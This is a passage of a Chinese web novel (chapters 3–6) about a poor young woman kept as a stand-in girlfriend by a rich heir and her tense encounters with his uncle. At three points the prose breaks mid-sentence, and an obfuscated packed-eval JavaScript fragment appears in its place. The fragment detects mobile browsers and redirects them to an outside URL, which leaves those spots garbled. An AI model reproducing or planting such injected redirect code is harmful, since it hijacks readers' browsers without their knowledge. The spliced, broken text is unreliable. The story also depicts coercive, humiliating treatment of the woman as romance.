《你怎么跟我舅舅结婚了?》 3. 顾先生 “可是有点、”冷。 李棠梨的话没说完,纪嘉誉已经把那件外套拽下来,随手扔到一旁。 那是今年开春买的新外套呢。李棠梨目光游离过去,明显是很想去捡。 可她稍微挣了一下,腰侧就被惩戒似的掐了一把。 纪嘉誉不耐烦地说:“故意在大家面前扭什么呢?” 李棠梨涨红了脸,压低声辩解:“我没有!我就是想拿一下外套。” 纪嘉誉叼着烟,轻轻掐了下她的脸,警告说:“不许捡。穿得跟个乡下进城的土妞似的,丢的是我的脸,听见没?” “……嗯。” 李棠梨垂下头,迫于压力点了点头。 自从暗恋的学姐出国,单方面和他断联后,纪嘉誉郁郁寡欢。在朋友们给他举办的成年派对上,他喝醉了,迷迷糊糊和李棠梨滚上了床。 其实李棠梨并不像她。但是,她侧脸时,有一个特定角度看过去同白月光十分神似。 他瞄向李棠梨,眼里还是溢满了嫌弃——真是普普通通,没什么特色的一张脸。要不是那天喝多了,哪怕是作为替身,和这种女人搅和在一块还是自降他身份。 不过,虽然是个平庸的女人,却意外得省心。本来成年礼第二天,纪嘉誉就想随便给她一笔钱甩开的,不知不觉拖到了现在。 令他至今未开口的原因之一,是李棠梨真的很喜欢他。 这点是跟纪嘉誉玩得好的那一圈人都公认的。 喜欢纪嘉誉不新鲜,但这么用心的确实不常见。 她每天都给他发消息,早午安不用说,只要他有个什么头疼脑热,李棠梨比谁都关心。 他说句没胃口,李棠梨专门冒雨带饭,裙子湿了一半,巴巴地送过来给他吃。 纪嘉誉那个狗脾气上来,发小见了都得绕着走,李棠梨三个月里居然没有流露过任何不满。 譬如现在,即使被他使坏脱了外套,也只敢抱着手臂,乖乖地被自己搂在怀里。 穿着他喜欢的衣服,站在他的身边,完完全全是属于他的人,因为这种隐秘的心思,纪嘉誉的心头忽而涌上一阵热意。 虽然明面上说是女朋友,但和花钱包养的女人差不多,更何况她还这么喜欢他,何必压制自己? 他很快合理化了这点微不足道的悸动,顺从心意地低下头,去吃没有防备的李棠梨的嘴唇。 可李棠梨却下意识身体往后倾,避开了他压下来的唇。 “你躲什么?”纪嘉誉立刻面露不悦,他直起身,脸色唰地冷下来。 不是很喜欢他吗? 几乎是一瞬间,气氛火热的派对冷凝了下来。 人们扭头望向他们,李棠梨瞬间成了被架在火上烤的蚂蚁。 众人投射来的目光明明暗暗地爬过她裸露在外的胸口和后背,停留在那张不知所措的、迟钝茫然的脸。 李棠梨没反应过来。 虽然在一起这么长时间,但他们其实没怎么接过吻。至于上床次数,一只手也数得过来。所以李棠梨还是不太习惯这些亲密接触。本能躲开,也是很正常的。 可在无数有如实质的目光中,她艰难道:“我不是有意躲你的,就是没反应过来,对不起。” 苍白的言语不起作用,纪嘉誉依旧冷冷看着她,一言不发。 她别无办法,只好压下心头的羞耻,在众目睽睽下小心翼翼地踮起脚,仰头主动去吻纪嘉誉。 纪嘉誉表情很臭,但身体没有动。直到她闭着眼颤巍巍贴上他的唇,唇齿相接的一刹那,纪嘉誉突然出手,强硬地压住她的后背,张口狠狠咬住她的下唇。 李棠梨发出一声痛呼,这回当然是不敢躲了,拿手抵在他胸膛上,也不敢用力推。 泪水一下涌出来,但这点可怜的眼泪很快淹没在暧昧的水声里。 她顺从的姿态勉强让纪嘉誉消了气。他半搂着女人,两个人的身影很快消失在楼梯的尽头。 * 凌晨12点,顾峙推开家门。 这几天,他一直忙于敲定一场跨国并购案,频繁往返于总部分部之间,连轴推进谈判。即便已经习惯了高强度的工作,此刻也难免露出疲色。 他没有开灯,径直坐进沙发,先仰面闭目养了一会儿神,黑暗令他更有安全感。 太阳穴突突地跳,顾峙睁开眼,瞥见茶几上扔着一包烟和打火机。 他会抽烟,但很少碰。顾峙不喜欢任何存在成瘾风险的爱好。 联想到院子里的一片狼藉,不用动脑子猜,纪嘉誉肯定是喊那群纨绔子弟来家里玩了。 顾父顾母车祸离世后,家里只剩大姐顾淑凤、刚成年的顾峙和早产孱弱的妹妹顾语琴。 得知父母离世噩耗,结婚后定居海外的顾淑凤连夜回国,顾不上难过,又是操持葬礼又是紧急接管公司事务,一个月暴瘦八斤。 直到见了红,才后知后觉怀上了二胎。只是为时已晚,这次意外流产伤及根本,致使她终生不孕。因此格外疼惜纪嘉誉这个独苗。 顾峙也对这个外甥相当溺爱。 纪嘉誉十岁时,突发奇想说想要一颗星星。 哪怕顾峙再有钱有势,也没有徒手摘星的本事。 他只好退而求其次,在L国陨石基金会举办的慈善晚宴上捐赠20万美金,拍卖下一颗小行星的命名权,作为纪嘉誉十岁的生日礼物,送给了他。 他至今未婚,花边新闻少得可怜,外界更是捕风捉影传他是性冷淡。可以说顾峙就是把外甥当自己继承人来培养的。 但自从进入青春期后,纪嘉誉骄纵的性格变得愈发叛逆,时常和家里对着干,也就顾峙能稍微治住他。 想到那天把人从酒店逮回来,纪嘉誉仍然梗着脖子不肯认错,把顾淑凤气得直捂着胸口顺气。说来说去,就是拿他没办法。这么大的人了,难道还值得为此打他? 顾峙在旁边冷眼瞧着他死不低头,当天就把骨头很硬的纪嘉誉的卡给停了。 在老宅关了几天,昨天刚放出来,今天又开始惹是生非。 提起这个糟心外甥,顾峙顿感头更疼了。 他干脆从烟盒里抽出一根,坐在黑暗里,借助吸入的尼古丁镇定思绪。 烟燃到半截,楼上传来脚步声。他不动声色转过脸,楼梯间的灯突然亮了。 开灯的人走进视野。顾峙额角重重一跳,又是那个女人——李棠梨。 纪嘉誉竟然敢把她带到家里胡闹! 李棠梨常年照顾母亲,觉浅,一点动静都能把她吵醒。 半梦半醒间被人蹬了一脚,起身一瞧,身旁的纪嘉誉已经疼得浑身冒虚汗,意识昏沉,额发都被打湿了,湿漉漉地贴在鬓角。 他犯胃病了。 见他难受得厉害,李棠梨从地上捡起一件纪嘉誉的短袖草草套上,下楼给他接温水。 聚会早就散场,夜色阑珊下,偌大的豪宅过分空荡,令人不安的寂静萦绕心头。 接好水,李棠梨眼睛无意间掠过对面的客厅,却见沙发上好像模模糊糊地坐着一个高大的人影,藏在黑暗里一直静静地盯着她! 心跳骤停,李棠梨本能地尖叫了一声,手里的水也洒了大半。 “啪”地一声,客厅的灯亮了。 开灯的人沉静地说:“李小姐,你半夜出现在我家……该害怕的人,应该是我吧?” 李棠梨的心还在怦怦乱跳,定睛一看,原来是和她有过一面之缘的男主的舅舅,顾峙。 和那天酒店里西装革履、矜贵自持的总裁相比,今晚的顾峙看着随性了许多,但压迫感却有增无减。 他没系领带,衬衫顶端解开两粒扣子,敞着锁骨,白色衬衫隐约勾勒出肌肉轮廓和劲窄的腰身。袖口随意挽起,露出一截结实的小臂线条。 酒店里的羞辱宛如昨日发生。对李棠梨而言,半夜撞见顾峙倒还不如撞见鬼。 她想马上离开这里,但又碍于礼貌控制住了,最终还是乖乖站在原地。 讷讷张开嘴,不知道该怎么称呼,思来想去,小声喊他:“顾先生。” 比青年的纪嘉誉更高大强壮,比十八岁的纪嘉誉更成熟棘手,比男主纪嘉誉更难应付的顾先生。 反观顾峙就放松多了,毕竟是在自己的地盘。不过,就算在别处,他在李棠梨面前也完全没有要拘束的理由。 他重新坐回沙发上,将指间夹着的小半截烟摁灭在烟灰缸里。 “你怎么在这儿?” 话一出口,他不禁笑了一声,嘲笑自己明知故问。 事情肯定是要解决的,尤其是事关纪嘉誉。但不是现在。他今晚太累了,提不起精神头。 “算了,”顾峙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046832|162711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揉了揉额头,“李小姐是吗?帮我也倒杯水。” “……好的。”还好顾峙没有执着于上一个问题,否则李棠梨根本不知道该怎么体面地作答。总不能直说是被他外甥叫过来上床的吧? 她听话地把水端过去,不忘提醒:“可能有点烫。” 顾峙眼眸半垂,见她很郑重地两只手捧着杯子,轻轻放到桌上。 还算有教养。 搭在杯身上的手指纤细,指甲认认真真地修剪成圆弧形,短短的,没有涂指甲油、做美甲,透着自然干净的浅粉。 “谢——”顾峙抬头,眼睛扫到她身上,目光猛地一滞。 刚刚离得远,现在走近了,顾峙不太确定——她居然只套了一件纪嘉誉的半袖,就过来给他端茶倒水吗? 李棠梨偏瘦,微翘圆润的弧度映在一层薄薄的布料下,身形还保有一些少女特有的青涩。 顾峙后知后觉,她今年只有20岁。 光是露在外面的脖颈就被粗鲁地印着几个红印,更不要提衣领之下。膝弯处,属于异性的宽大指痕异常明显,膝盖也是红彤彤的。 她似乎是很容易留下痕迹的体质。 而李棠梨本人似乎对此一无所知。明明穿着这么暴露,脸上却不自觉流露出怯色,几乎像是一种隐晦的讨好。 她只是看着顾峙,疑惑他为什么一言不发。 顾峙沉默两秒,一把抄起放在一旁的西装外套,朝她扔了过去。 宽大的衣物蒙头盖住她的脸,视野骤黑,李棠梨毫无防备,一股干燥、厚重的木质香调就兜头盖脸地攫取了她的呼吸,几乎让她有一瞬窒息。 在漆黑的视野里,男人发沉的声音钻入她的耳膜:“穿上。” “啊?”李棠梨终于反应过来,除了内裤,她全身上下只穿了一件纪嘉誉的短袖! 她真是急得脸上发烧,两只手也抖得厉害,套上男人的外套。 顾峙比184的纪嘉誉还要高,李棠梨穿上,下摆垂落在她腿侧,袖摆也太长,不得不挽起来。 这么瞧,像是她整个人都被顾峙的外套给吃了进去。 “谢谢您,我,”她急于想要逃离这个尴尬的氛围,朝楼上瞄了一眼,短暂斟酌后说:“我要回房间了,纪嘉誉有些不舒服。” 顾峙意外地抬了抬眼:“他怎么了?” “胃疼。我感觉喝热水会缓解一点,就下来接一杯。" 空腹抽烟喝酒,不好好吃饭,胃怎么就能好了? 他揉着胀痛的侧额,倒是因此对她态度温和了些许:“药箱在茶几最下面的抽屉里,应该还有半盒咀嚼片。李小姐,辛苦你过来拿一下。” 李棠梨顺着话往那儿一瞧,抽屉离顾峙一步距离不到。 她不安地眨了眨眼,发出微弱的不情愿:“顾先生,您离得近一点。” 她的情绪实在是很好懂,全写在脸上:咬着的下唇,抑制不住上下翻动的眼睫。 顾峙直视她:“我头有些晕,麻烦你了。” 最后四个字咬得有些重。 “好吧……” 李棠梨只好妥协,她走过去,蹲下身翻找。 顾峙居高临下地凝视着她的一举一动。 李棠梨在他面前,总是表现得唯唯诺诺,他一直对其真实性存疑。单从今晚来说,如果是演的,那她的演技未免太过逼真。 她现在就蹲在他脚下,一步之遥。 两人体型相差太多,他的外套比起李棠梨的来说过分得大,她蹲下,下摆垂落在地,一片衣角恰好轻轻压在顾峙的鞋尖上。 是太近了,他垂下眼,心想。 近得他一眼就看见,在她的侧颈上有粒小小的痣。 吻痕却偏偏漏过了这里。 顾峙面无表情地盯了两秒,突然意识到自己在做什么,他拧起眉,立即挪开视线。 李棠梨才找到药,顾峙反而先她一步站起身,有意拉开了距离。 她有些不明所以。 只见顾峙走到开关旁,背对着她,平静地说:“回去吧,让他把药吃了。” 拿着水和药,李棠梨刚踩上第一节台阶,客厅的灯恰好灭了。 她脚步一顿,不禁往后看了一眼。 偌大的别墅重新回到了静谧的黑暗中,她看不清沙发上是不是还坐着那个人了。 4.回家 纪嘉誉趴床上疼得直抽气,这会儿半晕半醒,其实比谁都盼着李棠梨在这儿陪他。 听见开门的动静,嘴上却不肯饶人,背对着门,他头也不回地责问:“你跑哪儿了?” “找药耽误了一些时间。”李棠梨短暂犹豫后,没说出刚才的事。 她先脱下顾峙的外套,对折后妥帖地搭到了椅背上。 接着搀扶起纪嘉誉,拿起两个枕头塞到他背后,保持半坐卧的姿势伺候大少爷吃药。 李棠梨很擅长照顾人,或许穷人家的女儿都有这个优点。 穿越前,没钱请护工,她一人独自照料病重的母亲,擦身子、如厕、喂饭,每一步都不假手于人。 多数时候,只能在从厂子到医院的这段路程里匆匆往嘴里塞口饭吃。为了省钱,经常糊弄着吃凉白开配干馒头,所以胃也被折腾坏了。 对她来说,照顾纪嘉誉是驾轻就熟的事儿。 手头没有热水袋,李棠梨就用热水浸湿毛巾,确保温度适宜后,敷在纪嘉誉胃部。毛巾稍稍发凉,她就再去加热。 在她的细心照料和药物作用下,纪嘉誉很快就又睡过去了。 李棠梨却没合眼,半个晚上都在重复这个步骤,天际泛白时才眯了一会儿。 第二天,纪嘉誉醒来,顿觉身体大好。 他撑起身子,正好撞见李棠梨从浴室走出来。 她刚洗完漱,发梢和睫毛上还带着水气。神态疲倦,眼底挂着淡淡的青黑。 纪嘉誉的表情有些古怪,李棠梨跟着紧张起来:“胃还是不舒服吗?” 对方却盯她好一会儿,才别扭地问:“昨晚上你没睡好?” 李棠梨眨了眨眼,她已经习惯看顾病人到深夜,所以根本不觉得有多辛苦。 “还可以,哈……” 话音未落,就打了一个哈切。她下意识捂住嘴,眼睛瞪得溜圆。 纪嘉誉被她这副又笨又呆的样子逗笑了:“怎么这么笨?” 连卖惨也不会卖,真是笨死了。 被他莫名其妙骂了一句,李棠连回嘴也是瓮声瓮气的,像是一团棉花在风里摇晃:“我才不笨呢。” 纪嘉誉却笑着凑过来,拉下她的手,把她的话都堵在了口中。 他平时什么都不缺,很少需要别人给他帮什么忙。谁有幸帮了他,肯定要旁敲侧击让纪少爷知道。 可李棠梨不一样。明明守了一晚上,他在睡梦中都能模模糊糊感受到她的照料;黑眼圈又挂在眼下,是再好不过的佐证,傻子都知道这是趁机卖惨的绝好时机。 纪嘉誉愿意主动把台阶递到她面前,已经实属难得,李棠梨却站在台阶下,对他谨小慎微说还好、不辛苦,连讨好都笨拙。 这种笨女人,既不漂亮,又不聪明。除了自己,谁还肯要她? 纪嘉誉垂下眼,视线落在李棠梨的嘴唇上。小小的,被他亲得泛着粉,微张着喘气,眼睛潮润。他对这个“毫无吸引力”的女人起了欲/望。 于是他勉为其难地想,我只好大发慈悲做个好人,不嫌弃她咯。 李棠梨不知道纪嘉誉在“勉为其难”。 她只想叹气,怎么又亲? 还不能躲,好不容易分开,纪嘉誉却依然盯着她嘴唇瞧,眼里流泻出一点晦暗的光。 眼见事态升级,李棠梨当即伸手推了推他的胸膛,磕磕绊绊叫他:“嘉、嘉誉,我想回家了。” 纪嘉誉神色转冷:“很着急?” 昨晚纪嘉誉坚持留她过夜。好在张梅婷目前情况稳定,李棠梨给她发了条消息。但她还是担心,因为心里惦记,一晚上都没怎么睡着。 李棠梨捏着指头,神色为难:“我想回去看看我妈的情况,昨天……” 纪嘉誉烦躁地直起身,打断了她的话:“随便你。” 李棠梨无措地张开嘴,但不知道能说什么来抚平他的情绪,又默默闭上了。 她吸取了上次从酒店落荒而逃的教训,长了记性,来的时候专门带了一套日常的衣服以供回去穿,这样,就算撞上妈妈也不会穿帮。 走之前,李棠梨特地把房间打扫了一遍,像是在以这种方式给纪嘉誉道歉。 她拎起包,讪讪告别:“我走了,你好好休息。” 纪嘉誉不理睬她。 他头都没有转一下,窗帘严丝合缝地合拢,屋里暗昏昏的,唯一的光源是他拿着的手机。屏幕的冷光打到他精致的脸上,渗出几分阴沉。 当谁稀罕她留下吗? 果真是个蠢东西。 不知道他昨晚刚胃疼吗?早上为什么不能再留下来陪陪他,即使要走,连句好话也不会说? 权贵圈里的孩子都被钱财催发得异常早熟。公子哥大小姐们的那些小女友、小男友,哪个不是漂亮话信手拈来?什么“宝贝,亲爱的”、“最爱你,原谅我吧”跟不要钱的洒。 唯独李棠梨,每次跟木头似杵在一旁,不会喝酒、不会玩游戏,局促得就像是做错事等着被老师批评的学生,连一句撒娇都说不出口。只知道劝他少喝酒,在他身边拿杯温水候着。 纪嘉誉在气头上,李棠梨只能怎么来的怎么回去。 走到院子里,又忐忑顿足,回头张望。 可惜,屋里生闷气的纪嘉誉没看到李棠梨的踯躅。倒是恰好站在阳台的另一个男人捕捉到了这一幕。 顾峙多年规律作息形成的生物钟异常准时。即使昨晚再疲惫,还是照常按时按点起床上班。 正整理领带,就瞥见有个人出现在院子里。 他一时间差点没认出来。 她穿着款式简单的长袖和牛仔裤,风格很简朴,或者说寒酸。都是不知道几年的旧衣服了,上衣领口松垮变形,露出两道盈盈的锁骨,蓝色的牛仔裤水洗得发白。 面容白净,简单扎着低马尾,手里拎着一个包,一下从前两次见面时那个媚俗陪酒小姐转变成了腼腆拘谨的女孩。 她一边往外走,一边回了两次头。表情不像依依不舍,更像是心怀顾虑。 顾峙漫不经心想,好歹是女朋友,昨晚又照顾过他,纪嘉誉不亲自送她回去吗?从这儿往山脚走可不近。 不要误会,即使得知纪嘉誉对李棠梨没有那么痴迷,态度甚至有些恶劣,顾峙对这个女孩也没有产生任何同情。他顶多觉得这算咎由自取。 不过,这倒是提醒了他。他还没跟把人叫回家鬼混的纪嘉誉算账。 于是干脆打电话给秘书,把会议推迟了半小时,径直走向纪嘉誉房间。 拧开门,屋里竟然并不像他预料中的杂乱。 床褥平整,几件衣服折叠放在椅子上,连腰带都规规整整地绕圈盘放在最一旁,地面没有乱七八糟的垃圾。干净得就跟阿姨过来打扫过一样。 顾峙有些诧异,但马上意识到是李棠梨做的。 毕竟纪嘉誉大早上爬起来收拾房间的概率不比小行星撞地球来得大。 饶是如此,依然残存许多蛛丝马迹。 室内那股暧昧的气味还未完全消散,垃圾桶里更是明目张胆地丢着用过的避孕套。 直到瞥见半仰在沙发上没个样子的外甥,顾峙脸色一下难看起来。 纪嘉誉穿的,分明就是李棠梨昨晚身上的那件短袖。 这诱使他不自觉回想起了昨晚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她探身往后瞅,李棠梨赶紧往前一站,扯谎说:“开车送我到门口就走了。” 打字和当面撒谎还是有很大区别的,她从小老实,紧张得又扣起指甲。 好在张梅婷没察觉李棠梨的不自然,她拍了拍大腿,着急地说:“诶,老家刚寄来的玉米,你大姨地里种的,水灵灵的,让你朋友带点啊!没走远吧?” 李棠梨忙拦住她:“她着急上班呢,肯定赶不上了。” 张梅婷无奈地指了指她,数落道:“你这孩子,去别人家麻烦了一晚上,下回见面可得谢谢人家啊。” 李棠梨低下头,生怕演穿帮了。含糊两句,借口先回家休息了。 看过张梅婷,心里踏实了,她才有心思处理男主这边的事儿。 她给纪嘉誉发了条道歉消息,还问下次可不可以带养胃的山药排骨汤给他喝。 纪嘉誉当然不可能秒回她。李棠梨只能祈祷他尽早消气。 离上班还有一段时间,李棠梨从包里拿出那件一看就十分昂贵、剪裁高端的西装。 走之前,她迟疑片刻,还是把椅背上的西装放进包里了。 因为顾峙一看就是那种衣着讲究、外形矜贵的上流人士,发丝和鞋尖上都沾不了一点灰。他可能还有点轻微洁癖。 这件外套虽然没有贴身,但自己毕竟都穿过了,直接还回去不太礼貌。 李棠梨决定自己先洗一洗再寄回去。 5.第 5 章 顾峙刚到家,刘阿姨拿着一件衣服走过来:“顾总,门卫说今天收到了一个快递。拆开是您的外套。” 他的外套? 顾峙没记得在外面丢过衣服。相似款式的西服在衣橱里比比皆是,他不在意地瞥了一眼:“谁寄来的?” 刘阿姨琢磨片刻:“好像是姓李,李什么梨?是个女孩名。” 一个女孩寄回来一向不近女色的顾总的衣服,这里面怎么看都有点故事。刘阿姨八卦心骤起,偷偷瞄了一眼,果然见他动作一顿。 顾峙想起来了。 最近,家里的事儿越来越多。外甥叛逆,姐姐溺爱,昨天老宅传来消息,妹妹顾语琴又要辞退护工,顾峙已经数不清这是第几次了。 前些日子他收拾完纪嘉誉,顾淑凤看见鼻青脸肿的儿子,心疼得直掉眼泪。但面对纪嘉誉犯贱闯下的祸,又没法指责弟弟打得不对。 工作一天,回家还得处理这堆麻烦。顾峙被闹得头疼,索性直接甩手撂挑子,不参与纪嘉誉这摊子破事儿了。 要他说,纪嘉誉纯粹是越管越来劲儿,瞧他那副忽冷忽热的样子,对那个陪酒小姐也没有多上心。 倒不如干脆晾着,没人搭理他,那股犟劲儿说不定就下去了。 要不是李棠梨冷不丁把这件外套寄回来,顾峙也想不起来当晚的事儿。 李棠梨猜测得不假,顾峙的确有洁癖。想到别人穿过,他点了下头说:“我知道了,直接拿去清理吧。” “但顾总,这衣服已经水洗过,没法儿穿了。”刘阿姨苦着脸。 顾峙停下脚步:“她洗过了?” “问题就在这儿,你看,”刘阿姨顺势把外套递到他手上,指了指一处不明显的褶皱。 “这肯定是水洗的,而且那个人大概率是手洗,所以才会有这种细小的褶子,但是整体形状还算完整。要是机洗的话,磨损和变形会更严重。 虽然能看出来尽力熨烫过的痕迹,但这种面料只要沾水就很难恢复原样,熨烫也没用。” 这种“常识”,李棠梨当然不清楚。 操持家务、打工挣钱、照顾病人,单论这些,李棠梨是一等一的好手。但质感高级的西装,还是首次出现在她贫乏的生活里。 所以她也无从得知,对于顾峙来说,他的每件西装都是量身订制的。 F国顶级定制品牌为其提供飞赴服务,每个季度,品牌团队会专门飞到国内,为顾峙测量身体数据,定期更新衣橱。 细致到个别场合都有专属着装,袖口还有顾峙名字的缩写。 这种高级定制西装面料娇贵,不能沾水,需要定期送到品牌工坊进行专业的清洁和保养。 到李棠梨手上,它自然水土不服。家里的洗衣机今年老是发生故障,维修师傅过来一看是十几年前的老款,就摊手说修不好,不如直接换个新的。 上个礼拜彻底报废后,李棠梨这几天都是手洗的衣物。 她先用手轻柔地搓洗,怕顾峙嫌弃,还多洗了一遍。通风晾干后,特地去陈姨家借来熨斗,放桌上,对着阳光仔细地一寸一寸熨平展,才寄回栖月云筑。 在她有限的认知里,她已经竭尽所能做到了最好。 但刘阿姨从业几十年,经验丰富,又熟悉顾峙的衣服尺码,一眼就看出了问题。 她从口袋里摸出一张纸条:“差点忘了,她还写了一张纸。” 顾峙接过。 【顾先生,谢谢您的外套。我已经洗过一遍了。——李棠梨】 她的字写得规规整整,笔画和字距都是,像是还在读书的学生。 所以,李棠梨是带回家洗过之后,才还给他的吗? 顾峙拿着那件西装,这件衣服上从前属于他的木质香已经消失不见。如今攀附其上的,是一股浅淡的茉莉花味儿。 只是稍稍低下头,这缕陌生的香气就缓缓浮动,掠过他的鼻息,轻柔地依偎住他。 虽然是廉价的洗衣液香味,但不算刺鼻,顾峙意外得没有升腾起厌恶的情绪。 刘姨问:“多少缩了点水,穿上不合身了。要扔了吗?” 顾峙沉默片刻。 李棠梨是特意洗过才还回来的。与她的身份无关,这份心意总归是好的。用心洗过又熨过,直接扔了未免太不近人情。 可真要收起来,心里却又隐隐像在抵触些什么说不清道不明的东西。 这件衣服,只隔着一件薄薄的短袖,穿在她身上过。他的西装贴合着她的身体、她的温度…… ……他到底在胡思乱想什么? 顾峙及时摁灭这些莫名冒出来的杂念。 他面上不动声色,对刘姨说:“放衣帽间吧。” 这句话隐晦的含义就是不扔,放起来。 顾峙一贯推崇精简的生活方式,定期会清理多余的东西。既然他都穿不了了,为什么还要挂在衣柜里落灰? 刘阿姨诧异之余,还是守住了自己的职业道德,没有多问,只是照做。 * 纪嘉誉要面子,等脸上能见人了,才联系李棠梨。 【下午两点去接你。】 收到他的指示,李棠梨松了一口气。她真担心纪嘉誉还没消气,跟她提出分手。 今天是周日,恰好赶上李棠梨轮休。她上午收到消息,就开始忙活炖排骨,给妈妈分出一碗,到点拎着保温桶出发。 因为怕被邻居看到嚼舌根,李棠梨通常都是在离家两站地的公交车站等他。 来接她的宾利静静停靠路边,李棠梨打开门,神色一怔。后座空荡荡的,纪嘉誉居然不在。 她有些困惑地询问司机师傅,但对方戴着白手套和口罩,炯炯有神的双眼全程直视前方,似乎没听到她的话。李棠梨只好识趣地闭上嘴。 车驶入栖月云筑,到了地方,纪嘉誉扫了李棠梨一眼,不带什么情绪地说:“来了?” 李棠梨见他不冷不热,连忙讨好地朝他举起手里的保温桶:“嘉誉,我带了排骨汤给你喝。” “我不是说不要吗?” 李棠梨之前也给他带过几次饭,纪嘉誉多多少少会赏脸吃一口。 但今天的他似乎格外没耐心,下巴一抬,敷衍地示意她放到桌上。 紧接着吩咐道:“楼上有衣服,赶紧换了下来。” 李棠梨不敢耽搁,匆匆换好衣服,纪嘉誉挑剔地围着她左看右看,似乎还是不太满意。 李棠梨有些羞讷,不知道这是要做什么:“今天是有什么活动吗?” 等两人坐上车,纪嘉誉才轻飘飘地扔下一个炸弹:“去老宅和我家人吃个饭。” 他说完,也没有要进一步解释的意思, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061933|162711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不顾被这句话吓了一跳的李棠梨。 什么,去见家长? 老宅指的是顾家的庄园。庄园建在郊外,占地辽阔,环境清幽。男主妈妈和小姨平时就住在那里。每个周末,一家人会相聚在老宅吃饭。 明明是家庭聚会,这周纪嘉誉却偏偏把李棠梨带上了。你要说他对李棠梨情根深种,那显然是天方夜谭。 带李棠梨,纯粹就是为了给顾峙上眼药。 开进庄重的大门,路过狮头雕塑的喷泉,李棠梨透过车窗,看到一座欧式二层别墅。想到待会儿就要见到男主家长,一颗心就打鼓似的乱跳。 纪嘉誉领她进门,率先迎上来的是一个中年女人。 她剪着利索的短发,身穿白色家居服,个子高挑,上来就抱了纪嘉誉一下。 “今天回来这么早啊?” 说实在的,顾淑凤第一眼还真没瞧见跟在一旁的女孩。她畏缩在一旁,跟古代的小丫鬟似的。 倒是纪嘉誉扭过头,强硬地把李棠梨拉过来:“妈,介绍一下,这是我女朋友。” 李棠梨惊得打起磕巴,手脚都不知道放哪儿:“打、打扰了,阿姨。” 眼见身前的顾淑凤先是发愣,脸色逐渐变得铁青,她顿时手足无措。 纪嘉誉却对李棠梨的无助视而不见。他把人晾在门口,也不管李棠梨的窘迫,进屋四处张望,像是在找人。 客厅里,坐在轮椅上的尖下巴女人扭过脸,细声细语地对他说:“小鱼,是在找舅舅吗?你放心,哥他今天忙,估计早不了。” 纪嘉誉跟被踩中尾巴一样,险些跳起来:“我没有怕他!还有小姨,不要再叫我小鱼了!” 顾语琴笑眯眯的,她的面容呈现出病态的苍白。长相宛如娇弱的菟丝花,嘴里吐出来的话却句句带刺:“对呀,毕竟伤才好,再打一顿,就不知道还要花多长时间才能出去见人了。” 从来就不对付的姨甥两个人又拌起嘴。 他们在里面热热闹闹,门口的气氛却如冰天雪窖。 顾淑凤抱着手,冷冷凝视着这个不速之客。 面前的女孩身穿挂脖款的粉色短裙,是某个一线奢牌的今年新款,裙摆恰好垂在膝盖上方。 版型不算暴露,但绝对不适合穿来见男朋友的家长。 李棠梨简直要悔青肠子。 她在车上就后悔得跟纪嘉誉商量能不能换一身衣服,可是纪嘉誉却对此毫不在意。 得体不得体不重要。他本来就是为了气舅舅,让李棠梨换衣服,也只是不想让家里人觉得他品味太差。 顾淑凤和顾峙两姐弟都遗传了父亲的长相,五官偏冷感。 顾淑凤这么俯视着她,一言不发,气场像是山一样压下来。 不一会儿,她就瞧见女孩鼻尖出了一层细汗,一只手不自觉地捏着裙摆。 毕竟是儿子带回来的人,直接赶出去怕拂了他的面子。 顾淑凤冷淡地松口:“嗯,进来吧。” “谢谢您。”李棠梨垂着头,人家挡着她半天不让进门,这么明显的羞辱,她却还要小声谢谢人家。 顾淑凤没动弹,径直俯身去关门。身子一侧,兴许是蹭到了女孩的肩膀。李棠梨跟见到猫的耗子一样,战战兢兢贴住了墙。 顾淑凤一挑眉,弄不清她究竟在唱什么戏码。 6.第 6 章 坐在轮椅上的顾语琴注意力被吸引过去,她叫阿姨推她到跟前,打招呼说:“你就是小鱼女朋友?我是他小姨顾语琴,你叫什么名字?” “您好,我叫李棠梨。” 顾语琴看着比干练的顾淑凤亲和许多,李棠梨暗自感谢她的适时解围。 顾语琴又问:“噢,那你是干什么的?” “现在是服务生。” “什么服务生?在哪儿上班?每天几点上班下班?上班都干什么?” 不料,她的问题又多又杂,接连不断,李棠梨总算意识到有些不对劲,她抿住唇,由于隐私被侵犯而产生了不适。 她不想再答,但顾语琴笑吟吟地等着她,屋里只有电视经济新闻的播报声。 一时之间,顾家的所有人心照不宣地形成了一种吊诡的沉默,共同完成了对她的侵犯。 一看自己导致了冷场,胆小的性子作祟,她还是老老实实答了:“在春福广场的一家自助餐厅,十点上班,一般就是收盘子,打扫卫生,整理桌椅,这些杂事。” 顾语琴的眼睛越听越亮,原本盖在毛毯下的一双手也兴奋得拿了上来,交握在胸前:“那你每天都能和不同的人说话,真有意思!你喜欢这份工作吗?” 被问懵了的李棠梨:“还、还好?也不算很喜欢……” 顾语琴流露出疑惑。明明已经二十五岁,她依然神情天真:“不喜欢为什么还要干?” 在顾语琴不解的目光中,李棠梨小声说:“就是……挣钱。” 